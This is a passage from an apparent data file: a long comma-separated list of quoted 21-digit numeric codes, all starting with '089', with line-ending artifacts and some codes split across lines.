000", "089170044101112053000", "089171010098115055000", "089183041103109052000", "089149012095105075000", "089183033102110063000", "089157012000000057000", "089149015098117084093", "089149005098112085000", "089177043097112065000", "089183047098113078094", "089177050095108083000", "089170049102108052000", "089181002103106055000", "089146013100106061000", "089146029104105000000", "089183002099108062000", "089170001000108087093", "089120027104110071000", "089157018000000054000", "089160039000114065000", "0891380371031M
17078094", "089171033101110086000", "089129010098112055000", "089171043099107083000", "089170030103107056000", "089186044097107061000", "089177008097116000000", "089170048103105000000", "089171003102117068000", "089146015098112058000", "089138044095109055000", "089120018098000081000", "089138041102109000000", "089170035102114070000", "089160006000000057000", "089176010102116077094", "089149034103116075000", "089120015000115083094", "089149037096112059000", "089176017099114060000", "089176011102112065000", "08918301M
1101110063000", "089129044096113079000", "089120026098114056000", "089176021099108055000", "089176020101116056093", "089146031096114066000", "089183032000108067094", "089170033000115086000", "089183029102116000000", "089183037000106070000", "089120024102115061093", "089148025000000057000", "089129037101111000000", "089186036099116085000", "089129004000115055000", "089129004095114074000", "089170015101117000000", "089181001104113056000", "089152004000000054000", "089183006101116073000", "089129021100114061000", "089M
171045099107075000", "089170003103112072094", "089129022103112053000", "089138001095105069000", "089160029095117000000", "089152023000000054000", "089183026095107061000", "089120028000111055000", "089176015101112055093", "089152048000000057000", "089176016099109069093", "089177034097111066000", "089129003100116076000", "089177033098116072000", "089138027095113074000", "089176020098117079000", "089129024099106087000", "089138034099107073094", "089177005095107065000", "089170036097107078000", "089129013095111080000",M
 "089129008000109081094", "089138017100107075000", "089146030102108087000", "089176007101107066000", "089171039095107055000", "089181003099117086094", "089146035101111079000", "089183035098115078000", "089160007099000064000", "089177042097112078000", "089149013095111085000", "089177010000106051000", "089177020103114051000", "089138021101106061000", "089177017096106076000", "089176032000110000000", "089160025000000057000", "089186039096114000000", "089176049099109063000", "089160010096113073093", "089120023095115084M
000", "089160005100106075000", "089186049099117066094", "089170015104108077000", "089146047096113071000", "089183027098105072000", "089146011104105078000", "089171036097112079000", "089160039103115073000", "089186003103108070094", "089146039102105084000", "089129049104109053000", "089160046101113080000", "089157021000000054000", "089181004103106077000", "089181013097105055000", "089176037103117080000", "089181028100112067000", "089138035104115067000", "089149004096106086000", "089149015095112053000", "0891600441031M
07062000", "089171027097116086000", "089181023103000062000", "089149044100111051000", "089176032100115085093", "089186024000109000000", "089177010095000073000", "089183034096113059000", "089183029000105000000", "089129010095106051093", "089149006102111075000", "089138011103107055000", "089186033000109056000", "089181045098107073000", "089186040096114064094", "089186010102109079000", "089129001102105062000", "089177004000107058000", "089152016000000057000", "089170041097113087000", "089146008000000054000", "08918304M
3104114076000", "089149010098110077000", "089146028096111073000", "089176050000000074000", "089170016101108070000", "089176018000114061000", "089149036103114066000", "089176001095114072000", "089183049096105067000", "089138007103105058000", "089183012099109080000", "089146014104115075094", "089146020100105056094", "089138003000115062000", "089186045095109061000", "089152018000000057000", "089146044095109085000", "089171022100109055000", "089138042099110051000", "089176007000116083093", "089170017000000084000", "089M
186007098113058000", "089129042000109064000", "089146024098000081000", "089177018103110000000", "089186040102114064093", "089186021096116080000", "089138030097110078000", "089149050103115073000", "089129015101106081000", "089183012095105059000", "089183008097111070000", "089176033000111053000", "089138014102114071000", "089129005099107079093", "089177006103113081000", "089148049000000057000", "089129039095115077000", "089149049098114067000", "089177023099114061000", "089120036104115080000", "089181004098114066000",M
 "089171039102110061000", "089183010101000058000", "089157044000000057000", "089148015000000057000", "089171046099117080000", "089177024102112055000", "089149032102113059094", "089152026000000057000", "089177032095109061000", "089171018000110068094", "089149035103106055000", "089146035098115000000", "089181029000109000000", "089138022097108079000", "089149006095108074000", "089149038096107051000", "089186013104107056094", "089181034097115070000", "089146002104111076000", "089138002095116087000", "089138022097116085M
000", "089183031099115072094", "089120036102000071000", "089181011099110086000", "089170026095111055000", "089160010102112073000", "089146021103116052000", "089177050103108079000", "089171008098114085000", "089129023097107080094", "089176014097111081000", "089170015103116070000", "089160044095116055000", "089149007104000071000", "089129002101115066000", "089160004099115067000", "089146029101110000000", "089186026000110077000", "089177004103000071000", "089170044097108083000", "089183006095117083094", "0891830460001M
08084000", "089149023102108071093", "089157050000000057000", "089138027102115087000", "089176020099107055000", "089181005096114086000", "089149027095000075000", "089171027103110072000", "089186017101107080000", "089171003096109058000", "089181046099117068000", "089160018000108070000", "089149032095110067000", "089176031095116076000", "089181012102115064000", "089171002098109072000", "089181050096112063000", "089170009098116000000", "089146037099110085093", "089186030000105051000", "089146028102106068000", "08917003M
6099112051000", "089120020095115078000", "089183035098105085000", "089177011095112085000", "089129018096105000000", "089171018103107071000", "089170021096116077000", "089176027000111075000", "089171003099110067000", "089177023096106086000", "089146023103106084000", "089171006104110060000", "089120020000105065000", "089183045102110062000", "089146042103111085000", "089176022103117068094", "089171026101112072000", "089138008103105059000", "089183004000107073000", "089120043104106070000", "089183010000114068000", "089M
186007000108065000", "089138014103116074000", "089149021000116073000", "089138009102117080000", "089177041101115086094", "089149002097114065000", "089186001099107059000", "089186032101112086000", "089160025096108055000", "089146005098105084000", "089181022103111056094", "089129046097114084093", "089177047103112083093", "089152015000000082000", "089160030096106066000", "089183044104116077000", "089138037103000083000", "089170037099000081000", "089186026103116081000", "089129023096110080000", "089146013099108077094",M
 "089129047095114053000", "089146029095000000094", "089183048096112083000", "089149017103106081000", "089183046097110073000", "089160043099112065000", "089129002095114083093", "089181026000000054000", "089129049099111077000", "089120022101111078000", "089138049000000059000", "089129041098116078093", "089120050099111075000", "089177025096115064000", "089170040099112063000", "089120010104109074000", "089183026103000051000", "089149042099117066000", "089171035099116076000", "089186008101115083000", "089177011098112061M
000", "089120010101106051000", "089176028098107074000", "089183006099107074093", "089181008103117077000", "089170049098000056000", "089171013104113087000", "089176042097111053000", "089176013096108086000", "089149004097112061000", "089148035000000057000", "089149027103116068000", "089129048104117063000", "089170040101000063093", "089181005102116071000", "089170043099111070000", "089157037000000057000", "089149003102106064094", "089186048098111074000", "089183004099117083000", "089160010102114087093", "0891200400991M
11074000", "089183038102108083000", "089146039102106073094", "089186031095112084000", "089181023000000072093", "089186038000110065000", "089181021098107053000", "089149020000116065000", "089186003101110080000", "089171043099000078093", "089148026000000057000", "089152020000000057000", "089160011097000077000", "089177002096117063094", "089176015000110051000", "089181012096110066094", "089149012103108074000", "089181044103115084000", "089177004097106065093", "089177015103109065000", "089183011097109052000", "08917104M
5102116083000", "089149018104113058000", "089170031097110075094", "089177014000112071000", "089120050102111061000", "089149043101110084094", "089120044102000065000", "089186026101110064000", "089129040104106056000", "089177041103108081000", "089171030104108062094", "089148040000000057000", "089149038102116079000", "089160025101110084000", "089149010095108052000", "089157028000000057000", "089186020104108080000", "089160023099109083000", "089120042097112072000", "089146018103105085000", "089160025099113055000", "089M
149034103109081000", "089157033000000054000", "089149013097106066000", "089186045101112056000", "089129029097116000000", "089149039103106086000", "089170042103109067000", "089149047098115075000", "089146033096107067000", "089170032101112087000", "089120049096117000000", "089120027101110063000", "089120027098114084000", "089171030104107079000", "089138034101114052000", "089177010101114076000", "089148020000000054000", "089177005103115058000", "089160021103107056000", "089129038095109071000", "089149024000106055094",M
 "089181041102000061000", "089181011102105051000", "089176008098111052000", "089146034000000057000", "089170029104110000000", "089157030000000054000", "089177032099109065000", "089183015104114053000", "089170035000112055000", "089186003102115061094", "089186036104116070000", "089183048104113067000", "089160036000115077000", "089171047103108058000", "089181021101105079000", "089138038096117063000", "089177042095000075094", "089176011104105051000", "089149045099116080000", "089146049098107075094", "089177023099106060M
094", "089177005099115071000", "089149040101115086000", "089177005096110079000", "089181047096113071000", "089157042000000082000", "089149038104112074094", "089183049000000086000", "089171041102107061000", "089160046097109083000", "089129041000000066000", "089129038098108065000", "089171048097106066000", "089183022099109083094", "089148002000000054000", "089186033095110075000", "089160037101107059000", "089152037000000082000", "089146040096000055000", "089160027099116075000", "089183028098114067000", "0891770071021M
13062000", "089176033098117051000", "089176036000107083000", "089177004096106065000", "089171043104108083000", "089186044096112052094", "089120030099000080000", "089183031102115072000", "089149046000113053000", "089138010104106077000", "089171033098110085000", "089171016097111075000", "089171027095115059000", "089148041000000082000", "089146035104117055000", "089170044102117065000", "089146045101112079000", "089152002000000057000", "089170028095107084000", "089148005000000082000", "089160020101106067000", "08914601M
8097107063000", "089138002097108067000", "089181050000000082000", "089148042000000082000", "089160016096112083000", "089146025000110074000", "089160036101105083000", "089177024000112084000", "089149010000106065000", "089171008102116062000", "089148050000000054000", "089129013097108074000", "089183015102105081000", "089129041099108077000", "089152018000000054000", "089138025000000082000", "089148011000000054000", "089186026101106065000", "089160003099114066000", "089129035104000071000", "089170016000000054000", "089M
138047000113083000", "089171047095116063000", "089149023099112075094", "089170004104111061000", "089138040102110051000", "089181016099000083000", "089138034000111083000", "089160033000106056000", "089120005104117079000", "089138020101110064000", "089186040099117066000", "089120025099114052000", "089146041101110087000", "089152034000000082000", "089183008102116055000", "089170009101105058000", "089138039096117080000", "089160025101112079000", "089183010104111053000", "089138047096109000000", "089177020102111000000",M
 "089186011104000056000", "089170032098109075000", "089176028096107080000", "089176042098114060000", "089160015104108077000", "089157028000000082000", "089146017000000082000", "089129043104108058000", "089183049098107063000", "089176048099107066000", "089146028095108072000", "089186032095115063000", "089170022095112085000", "089181047099107078000", "089170009096106066000", "089129008102113086000", "089181025098000051000", "089186030101107079000", "089176045102112067000", "089171040101108052000", "089181012104116084M
000", "089146017104109064000", "089183015102116065000", "089181034101107071000", "089138035102111051000", "089181004104115063000", "089171043101116052000", "089120016000000054000", "089181022096116080000", "089138029096114000000", "089129050000105052000", "089171036000117078000", "089176044101106081000", "089170031000117053000", "089171039101110084000", "089146043102116052000", "089186039095110060000", "089149011096108059000", "089183031098112067000", "089170027000115081000", "089176016104117052000", "0891760130981M
15055000", "089181036104106000000", "089177023101112080000", "089149026102000080000", "089177037098111081000", "089149025000000085000", "089129050098105063000", "089181049099116062000", "089157017000000082000", "089149003104109064000", "089120001096113067000", "089138001095115086000", "089170022102108087000", "089146029098105000000", "089177041104111086000", "089146016099115063000", "089170025000108056000", "089171008102111061000", "089160007099108087000", "089183042095114076000", "089148012000000054000", "08912004M
9095116060000", "089176004095108085000", "089149030101111066000", "089170016098114052000", "089138023096105062000", "089176013098105000000", "089129016101108055000", "089177002096108000000", "089176002101110072000", "089160047099108080000", "089129020096000077000", "089186039000108085000", "089177025104111076000", "089177027096113055000", "089120017098117087000", "089138030104106053000", "089176028102114079000", "089171027099109072000", "089176050000115064000", "089176032099108055000", "089129041095112062000", "089M
181040098115070000", "089120017102000085000", "089176009102107077000", "089120034101112070000", "089138040104000051000", "089170027099113062000", "089146028102110087000", "089148034000000057000", "089129017098106053000", "089176049101109067000", "089177032104110076000", "089181042099114062000", "089149025000111053000", "089176024102112061000", "089129040102117086000", "089120046095115052000", "089183038101115070000", "089146002104105056000", "089181033101107062000", "089149005104108053000", "089176001098113071000",M
 "089186004000113072000", "089171010095106086000", "089129032096105070000", "089160036096111051000", "089148001000000082000", "089149049104108083000", "089181018000109055000", "089171039102115071000", "089170045104117071000", "089120018000106062000", "089183028096111072000", "089146035095000085000", "089149030099111051000", "089177045098105083000", "089146006102110087000", "089181024096000072000", "089186034098117072000", "089149022096107075000", "089138043098114085000", "089149022098115085000", "089170025102114087M
000", "089183035101109070000", "089157025000000082000", "089120023096111085000", "089160042101105072000", "089120040102115065000", "089157001000000082000", "089171012000110064000", "089129012099112000000", "089160029099112000000", "089183040095106051000", "089183005096113083000", "089120005101115061000", "089129005000110075000", "089177042099116060000", "089176036095105053000", "089146006096114061000", "089177011000000081000", "089171042098110075000", "089129044101117076000", "089149026102111065000", "0891810200981M
07051000", "089149048101107086000", "089170034098112056000", "089181048098105070000", "089171041099111061000", "089183039098115077000", "089186016102108077000", "089149006095105058000", "089149046095115061000", "089129033000000062000", "089181038098107067000", "089138044000115065000", "089177025095110070000", "089176046099107066000", "089171030098105061000", "089160036095110062000", "089176030098106063000", "089177015101000064000", "089146023000107072000", "089138048000116083000", "089177033102114077000", "08917101M
2098115056000", "089183018101117067000", "089146045000116079000", "089170010096105066000", "089186001102000086000", "089183043095107077000", "089186013099115077000", "089177036096117066000", "089146003095000070000", "089149018099000059000", "089138037000105000000", "089183037102110064000", "089186012095116061000", "089149005102110077000", "089177013095109072000", "089170012095107078000", "089138018096112080000", "089160015101107083000", "089170040095000063000", "089181030098109062000", "089120010000115063000", "089M
160015102000077000", "089146016000107053000", "089138024095105063000", "089146046098109077000", "089129028101106070000", "089171027101110067000", "089149022095112087000", "089129041096116072000", "089160038095107075000", "089146031098106076000", "089146046096106060000", "089120018099105085000", "089186022098000062000", "089177016102112053000", "089120028096105079000", "089170015096111064000", "089149042000114079000", "089181030096110055000", "089186039095111086000", "089160014096109070000", "089170040098106079000",M
 "089138025102106078000", "089160009102115077000", "089146001095111086000", "089170031102108055000", "089176020095112062000", "089138005095107061000", "089129031098109072000", "089146041096106053000", "089183023000115070000", "089120027095116065000", "089149015099110056000", "089129016098107080000", "089120004098116087000", "089183030102000071000", "089160045102111051000", "089186024102112065000", "089138015098117077000", "089149043095112067000", "089177047102110062000", "089149006099106076000", "089171047098110085M
000", "089120046102117055000", "089183031098000075000", "089181025098105080000", "089176010000117079000", "089146006099112062000", "089177018099117067000", "089149049099113053000", "089171014000000082000", "089129029102000000000", "089148010000000082000", "089170014000111083000", "089129031099111083000", "089152041000000082000", "089181048098112070000", "089120004095117062000", "089177035000108077000", "089138012000116080000", "089170010000108080000", "089160044099110060000", "089149002000116062000", "0891810310001M
15085000", "089171048095116051000", "089120025098106063000", "089120046099112065000", "089146037098109061000", "089146009099115067000", "089183038102115062000", "089171046102117079000", "089177005095111051000", "089177047098111072000", "089176027095117060000", "089138047095111052000", "089149003000113056000", "089129049000105072000", "089176028099105059000", "089176038099105075000", "089146006095109056000", "089181035102110086000", "089186008099113056000", "089120045098106076000", "089171033095113078000", "08917000M
9000112058000", "089177032099110052000", "089129044099105058000", "089146018102111056000", "089170003095114085000", "089171030095108061000", "089176018102105065000", "089146044095112080000", "089176015098114076000", "089177046098113056000", "089183046102112083000", "089138036000105061000", "089170001095110052000", "089177046102106072000", "089176033098106000000", "089120024098115079000", "089129034102106086000", "089171003098115075000", "089177012095113055000", "089186033102115067000", "089146031000114077000", "089M
186033102108079000", "089120022102115055000", "089146012099113061000", "089129003095000075000", "089183039102115087000", "089138043098111087000", "089177007098108087000", "089186002102115072000", "089171010102106060000", "089176031000117052000", "089170030099113087000", "089149006000116060000", "089183042098116080000", "089138031000115065000", "089181035095110062000", "089177005102114063000", "089120017102114086000", "089160029102000000000", "089170043099114061000", "089183004098000063000", "089183038098105055000",M
 "089149032095109075000", "089146036099116055000", "089129022098116062000", "089160017095000000000", "089129014000107070000", "089138030102105051000", "089183040099110072000", "089149032095109052000", "089160017000114000000", "089160030098000061000", "089160048000105080000", "089146009099116072000", "089183024095109086000", "089181044098117062000", "089138045099000070000", "089170013099108061000", "089170002098108051000", "089170042098111056000", "089183039099117075000", "089138027000113070000", "089176040095114075M
000", "089138005095110000000", "089160002000114070000", "089181044098109056000", "089177001095110065000", "089160034000108071000", "089120029000107000000", "089183010099117063000", "089170006000105000000", "089186012099106063000", "089177009098110086000", "089120037095107056000", "089176002095110051000", "089146046095109059000", "089170037099117067000", "089186007099110072000", "089183028099000085000", "089138001098114080000", "089177001098110086000", "089181049099117083000", "089160043099114087000", "0891700380951M
16053000", "089171045095111052000", "089177042000107062000", "089176005099115053000", "089176027098114000000", "089149012099113063000", "089160033095113075000", "089176013098106000000", "089146013095105075000", "089177024000117062000", "089149024000000086000", "089120033099115075000", "089183029095107000000", "089149044000116062000", "089171049095113052000", "089129008000113062000", "089146032000106086000", "089183033098109052000", "089170020000117077000", "089138030099114087000", "089149049098112056000", "08917001M
5095117000000", "089177038098106086000", "089183012000108058000", "089129033099107087000", "089138022099107071000", "089186040099111052000", "089146025098000055000", "089170029000107000000", "089176022000115063000", "089171034000116061000", "089160045000105055000", "089138033000105087000", "089170008098106051000", "089138014000000070000", "089170010000110052000", "089146018000106077000", "089138025098114063000", "089176045000111070000", "089149031098114051000", "089176045000112058000", "089181029000000000000", "089M
186040000117067000", "089160029000105000000", "089149047000111075000", "089186002000108077000", "089138029000112000000", "089181004000109087000", "089160037000109063000", "089129025000112070000", "089146020000106079000", "089149013000117062000", "089176039000112061000", "089120008000114067000", "089146038000112062000", "089186012000107058000", "089183037000109080000", "089146041000116065000", "089176001000110062000", "089149047000107079000", "089170006000114072000", "089170045000114055000", "089138013000112078000",M
 "089186035000106063000", "089186023000106075000", "089181009000110067000", "089176004000113077000", "089181012000105080000", "089171035000116078000", "089176022000109085000", "089138037000106075000", "089171018000108080000", "089176032000115062000", "089120005000114071000", "089146037000117061000", "089160049000111061000", "089160030000109086000", "089183046000106087000", "089160013000116083000", "089183015000116078000", "089149039000113061000", "089129029000110000000", "089120008000115058000", "089160044000108058M
000", "089160010000117071000", "089176022000113059000", "089120005000000079000", "089120040000117083000", "089181035000112077000", "089160006000000067000", "089183042000107075000", "089149002000105072000", "089181024000113078000", "089120048000117063000", "089186001000117053000", "089160047000108062000", "089170042000111079000", "089177036000115080000", "089176041000106053000", "089186034000111085000", "089176039000107083000", "089181033000000071000", "089138043000112061000", "089171009000110070000", "0891710050001M
16065000", "089170035000113053000", "089171024000106056000", "089170012000107061000", "089171042000110087000", "089183006000108052000", "089138038000109056000", "089149009000109055000", "089120042000115071000", "089171024000107087000", "089129020000111072000", "089177014000113078000", "089120038000117067000", "089120042000116071000", "089129015000000000000", "089183005000111085000", "089120005000115080000", "089149036000000075000", "089170012000114078000", "089146047000107000000", "089120043000113083000", "08917104M
2000114063000", "089186029000114000000", "089146047000000077000", "089160043000107051000", "089149003000117075000", "089120001000109070000", "089176036000108087000", "089120006000114085000", "089186002000117087000", "089120023000108059000", "089160023000107085000", "089146022000113000000", "089149041000108067000", "089138044000114000000", "089177035000114077000", "089181046000114067000", "089186025000112052000", "089146046000117087000", "089186035000000078000", "089183048000105051000", "089186012000112071000", "089M
120036000107079000", "089176024000117067000", "089170002000112051000", "089120020000111052000", "089160021000000064000", "089149024000105070000", "089177020000110056000", "089170036000117071000", "089149004000114087000", "089181044000106078000", "089138003000106079000", "089183025000106000000", "089183024000117085000", "089170036000116080000", "089120024000110078000", "089177031000115058000", "089181036000107079000", "089120049000107000000", "089120022000106055000", "089120003000000078000", "089181042000109000000",M
 "089170039000117063000", "089129028000105000000", "089149012000000052000", "089149028000111075000", "089177025000112051000", "089138036000110067000", "089186004000108079000", "089177044000113055000", "089186012000108000000", "089171033000110052000", "089160003000115000000", "089186035000108056000", "089171018000105056000", "089176025000106087000", "089181039000108077000", "089120024000113053000", "089149039000113078000", "089171031000106063000", "089176023000105075000", "089138012000112065000", "089177002000114061M
000", "089129022000000083000", "089149006000116055000", "089149024000111077000", "089129028000112085000", "089146038000117052000", "089146018000113059000", "089183013000114085000", "089160049000109063000", "089129012000116065000", "089146008000000071000", "089146040000112000000", "089120042000106063000", "089160003000106086000", "089129001000108086000", "089181047000110063000", "089138048000110052000", "089146033000107062000", "089138024000109053000", "089138042000107058000", "089129015000105065000", "0891200130001M
07085000", "089171013000117071000", "089177038000105063000", "089149040000116065000", "089149032000111079000", "089149024000106051000", "089146006000000063000", "089120040000111070000", "089120047000111000000", "089170037000115087000", "089186034000105052000", "089160037000106060000", "089120023000108077000", "089129039000110083000", "089186003000109070000", "089183006000107053000", "089186009000112070000", "089183006000000056000", "089129036000112059000", "089146046000115086000", "089186033000115055000", "08914602M
3000116067000", "089177023000106080000", "089170005000107077000", "089138035000112078000", "089177035000117062000", "089120008000113056000", "089177013000114056000", "089160013000115083000", "089177029000116000000", "089181013000110071000", "089183025000108065000", "089170042000000059000", "089170022000114051000", "089183013000114071000", "089170042000113075000", "089171005000108067000", "089177042000105086000", "089149003000108061000", "089177031000107053000", "089177006000000000000", "089138006000109067000", "089M
181014000107053000", "089186037000107063000", "089186046000108086000", "089138027000112071000", "089176037000112055000", "089129001000000067000", "089149042000109062000", "089177041000114072000", "089176035000115077000", "089160005000109053000", "089183038000105056000", "089183003000106086000", "089171040000106078000", "089176036000111063000", "089129038000000058000", "089129049000000072000", "089181031000111070000", "089171024000114078000", "089170038000117075000", "089183048000113078000", "089149031000111075000",M
 "089138038000117072000", "089120015000115062000", "089186002000108056000", "089176036000116078000", "089177012000114078000", "089183008000117087000", "089186012000116072000", "089146003000115070000", "089177028000109072000", "089149008000115087000", "089171012000114076000", "089160038000111056000", "089149014000113061000", "089120041000117063000", "089146009000113063000", "089138038000117055000", "089149005000109083000", "089171001000116062000", "089186001000000062000", "089177009000112079000", "089183009000105075M
000", "089120044000116072000", "089171010000113053000", "089177044000116086000", "089129034000000077000", "089171015000105000000", "089138025000108067000", "089186036000106060000", "089171015000115059000", "089149002000000063000", "089149015000107053000", "089160041000112052000", "089149009000117075000", "089186014000111000000", "089149046000000071000", "089181038000114056000", "089149009000113053000", "089177022000105052000", "089120046000111063000", "089149031000116060000", "089129036000116087000", "0891760330001M
13052000", "089138004000111063000", "089181004000111000000", "089138031000113056000", "089183002000115071000", "089177041000114052000", "089138049000116067000", "089176005000116065000", "089149036000116080000", "089183002000114077000", "089171033000106060000", "089149033000000063000", "089146005000000051000", "089129013000115062000", "089149013000116056000", "089170022000106051000", "089183034000107062000", "089171001000109061000", "089183033000105080000", "089177035000115086000", "089146005000107072000", "08913801M
2000000056000", "089129037000111062000", "089176036000105079000", "089160034000115051000", "089183025000106087000", "089146039000116067000", "089177049000109065000", "089149001000105065000", "089149035000116083000", "089181005000117055000", "089129023000116061000", "089176041000109059000", "089149001000117065000", "089181028000000061000", "089146018000116077000", "089146038000116056000", "089120006000117087000", "089176013000111070000", "089138039000109051000", "089160009000115062000", "089146028000113077000", "089M
129048000106067000", "089149022000000070000", "089177008000113061000", "089129004000113075000", "089149027000105065000", "089181008000109067000", "089146015000105063000", "089120023000115063000", "089177006000115083000", "089171001000115061000", "089177028000112070000", "089170036000112071000", "089138014000114052000", "089138036000000080000", "089129033000111055000", "089120023000109067000", "089177022000112058000", "089120014000106062000", "089183024000107065000", "089146005000117000000", "089181032000106060000",M
 "089177027000105055000", "089170009000108062000", "089176013000108000000", "089176042000109072000", "089120038000114070000", "089170044000106077000", "089129010000000086000", "089177037000116056000", "089183001000106079000", "089149049000108056000", "089181032000105052000", "089149012000115000000", "089170039000114000000", "089181013000113070000", "089138012000106067000", "089181033000114062000", "089138033000112077000", "089183037000111079000", "089171031000113087000", "089170028000113070000", "089181038000107077M
000", "089177036000114077000", "089177003000106056000", "089183015000105072000", "089138041000116067000", "089181014000109071000", "089170022000116067000", "089186033000114062000", "089176025000105055000", "089120031000117070000", "089120032000113062000", "089170023000113079000", "089138036000000071000", "089176003000114055000", "089146004000115065000", "089183003000105058000", "089146027000000051000", "089176023000117052000", "089129001000105087000", "089160049000108070000", "089129039000112062000", "0891810340001M
14083000", "089186039000117071000", "089186028000107079000", "089183035000114051000", "089176014000114061000", "089120032000107055000", "089160038000117083000", "089129039000109077000", "089171041000107058000", "089138009000106061000", "089146001000112063000", "089138014000107051000", "089183009000106079000", "089171041000108063000", "089129004000111000000", "089176032000113080000", "089160012000105077000", "089177006000105079000", "089170036000114077000", "089149010000111071000", "089171024000109052000", "08918100M
3000112072000", "089181004000113065000", "089186048000112063000", "089181014000111051000", "089120013000108071000", "089183006000108000000", "089177039000116060000", "089138015000112058000", "089160035000000087000", "089120032000113086000", "089146001000107053000", "089176022000115071000", "089149025000117071000", "089176015000114065000", "089138038000113070000", "089183038000111063000", "089129014000116072000", "089129010000112000000", "089120025000109086000", "089186028000114000000", "089146031000114070000", "089M
138041000117051000", "089129035000109063000", "089149018000105062000", "089176035000117080000", "089138048000107071000", "089149003000000053000", "089138041000114061000", "089149049000108055000", "089160031000000070000", "089171015000111065000", "089181014000106051000", "089160034000114051000", "089176032000117060000", "089120022000000070000", "089138046000106053000", "089183023000107087000", "089146022000111000000", "089186028000114071000", "089170039000109058000", "089146010000113083000", "089183024000111070000",M
 "089146009000000072000", "089181046000114052000", "089160025000116000000", "089129009000111000000", "089171013000117062000", "089176012000115055000", "089160035000114067000", "089186032000108087000", "089146041000116083000", "089146005000107000000", "089146022000113055000", "089176023000106077000", "089120039000114051000", "089186041000105067000", "089183048000116067000", "089149014000108080000", "089149009000000070000", "089160008000108080000", "089170044000116061000", "089170010000109051000", "089177031000116067M
000", "089120025000112072000", "089183024000105063000", "089170034000000086000", "089186009000107077000", "089186028000106086000", "089160015000115086000", "089177028000106079000", "089160039000108051000", "089183022000108071000", "089176031000000053000", "089186018000107070000", "089129004000109071000", "089129015000111070000", "089176046000109079000", "089176022000111063000", "089181024000117071000", "089146044000114072000", "089183003000106062000", "089170046000117052000", "089181035000109087000", "0891290050001M
07000000", "089146048000000055000", "089120008000107072000", "089129046000106080000", "089171001000114080000", "089186049000105080000", "089146027000107077000", "089177004000107080000", "089138001000111061000", "089129028000000053000", "089171044000114055000", "089176044000113053000", "089186031000116061000", "089183010000000072000", "089160015000114052000", "089171028000116051000", "089186028000106051000", "089138014000115087000", "089129010000105077000", "089171044000114071000", "089146008000117077000", "08914902M
2000114087000", "089183048000113087000", "089160023000113052000", "089120010000114072000", "089120010000116083000", "089171039000116063000", "089186028000114070000", "089177006000107061000", "089183046000106079000", "089149008000109080000", "089177003000108063000", "089186036000000051000", "089176027000109052000", "089186025000114080000", "089171025000108080000", "089120022000112062000", "089160039000105079000", "089120039000113086000", "089186013000109063000", "089160018000117051000", "089171015000112080000", "089M
176023000107072000", "089177024000106072000", "089170023000112052000", "089177013000117061000", "089177004000111080000", "089120049000113063000", "089149009000114067000", "089120036000109055000", "089170012000114063000", "089181039000114000000", "089138009000115083000", "089176013000115052000", "089149046000112080000", "089138024000105053000", "089120039000112062000", "089138039000113071000", "089171014000000051000", "089177014000109086000", "089181010000113051000", "089120013000000062000", "089129027000115000000",M
 "089160048000108080000", "089120046000109071000", "089170033000116070000", "089181023000111055000", "089176005000112072000", "089129027000108061000", "089170015000111079000", "089170014000106063000", "089177013000000079000", "089138033000114000000", "089170023000114072000", "089177027000114051000", "089170005000000000000", "089170005000117086000", "089177028000109077000", "089181005000117072000", "089129006000116053000", "089138009000000063000", "089120039000113053000", "089170044000000000000", "089138033000116079M
000", "089149018000109063000", "089177008000109051000", "089146005000116055000", "089149039000117077000", "089120009000105052000", "089149027000105079000", "089186012000109072000", "089160012000105053000", "089160027000000072000", "089120023000112052000", "089171033000105051000", "089186033000115080000", "089149012000117000000", "089176028000000087000", "089183025000112086000", "089149025000113086000", "089129004000109083000", "089120012000109052000", "089129010000108087000", "089181005000113079000", "0891460050001M
15087000", "089160014000111061000", "089120048000113079000", "089120008000113083000", "089129046000114080000", "089186009000108053000", "089170048000116080000", "089138035000116052000", "089138033000109051000", "089160032000114055000", "089138003000113087000", "089176036000111052000", "089177012000117000000", "089183035000105051000", "089183049000109062000", "089120024000117087000", "089171041000106052000", "089138023000114077000", "089129004000116053000", "089171034000000080000", "089138034000117070000", "08917003M
5000106053000", "089170039000000070000", "089149033000106079000", "089186010000109086000", "089129031000116067000", "089146015000112087000", "089138041000117072000", "089138041000111055000", "089176025000115055000", "089170018000115071000", "089170006000115070000", "089171044000117083000", "089149009000112061000", "089120013000109087000", "089170006000000062000", "089170006000117067000", "089160048000114070000", "089171008000116086000", "089186009000105000000", "089149049000111071000", "089176018000109070000", "089M
171004000106053000", "089177024000105070000", "089176039000000053000", "089183036000000083000", "089120034000112053000", "089183005000108055000", "089177039000117070000", "089146005000000055000", "089149031000112070000", "089186015000114061000", "089171008000113072000", "089149049000106053000", "089149010000108086000", "089120032000111077000", "089120024000114052000", "089183046000105079000", "089170036000000000000", "089146028000114071000", "089146028000105086000", "089160032000114067000", "089120006000105000000",M
 "089138034000117053000", "089183039000111080000", "089171008000105071000", "089171037000105072000", "089170013000117086000", "089171005000117072000", "089149037000116087000", "089129046000114087000", "089181018000113086000", "089146024000106079000", "089160044000108080000", "089176037000112052000", "089146013000106052000", "089146033000108071000", "089186006000113067000", "089129003000114080000", "089129009000106000000", "089146023000108071000", "089129036000114072000", "089170018000114071000", "089183037000114086M
000", "089149006000114070000", "089186009000108000000", "089120006000111079000", "089171046000112071000", "089171006000105067000", "089170003000105079000", "089149028000117053000", "089138004000000079000", "089186010000117086000", "089183044000106067000", "089146024000108072000", "089146027000114086000", "089176010000117087000", "089186013000111083000", "089138024000106053000", "089120049000113083000", "089129024000114077000", "089120006000108067000", "089183015000000000000", "089160025000111079000", "0891380410001M
05083000", "089177013000116053000", "089120003000111086000", "089186004000108053000", "089186018000112071000", "089171004000113072000", "089176010000114087000", "089181048000113079000", "089129023000000052000", "089181024000114000000", "089177009000116052000", "089146037000108086000", "089181035000000067000", "089183031000112079000", "089146034000108087000", "089177003000114083000", "089186010000113000000", "089186005000114079000", "089183009000113079000", "089120036000117087000", "089138024000117052000", "08917602M
8000111053000", "089138009000114053000", "089181009000117053000", "089149034000116083000", "089183041000113083000", "089181015000111000000", "089138005000000083000", "089176015000113083000", "089171006000114087000", "089171037000114053000", "089129013000111052000", "089183024000114083000", "089171024000113083000", "089129005000111053000", "089171003000116083000", "089129035000114000000", "089120024000106000000", "089177015000000083000", "089183009000116067000", "089120003000114000000", "089138036000106087000", "089M
171032000114000000", "089186041000106067000", "089129004000108067000", "089186008000114000000", "089176032000105000000", "089120049000111000000", "089129044000117000000", "089171006000106000000", "089186041000111000000", "089149049000111000000", "089186006000111000000", "089138028000117000000", "089129025000111000000", "089160003000114000000", "089160008000111000000", "089181025000105000000", "089120003104108062000", "089177041000105000000", "089177035000105000000", "089183035000106000000", "089129048000113000000",M
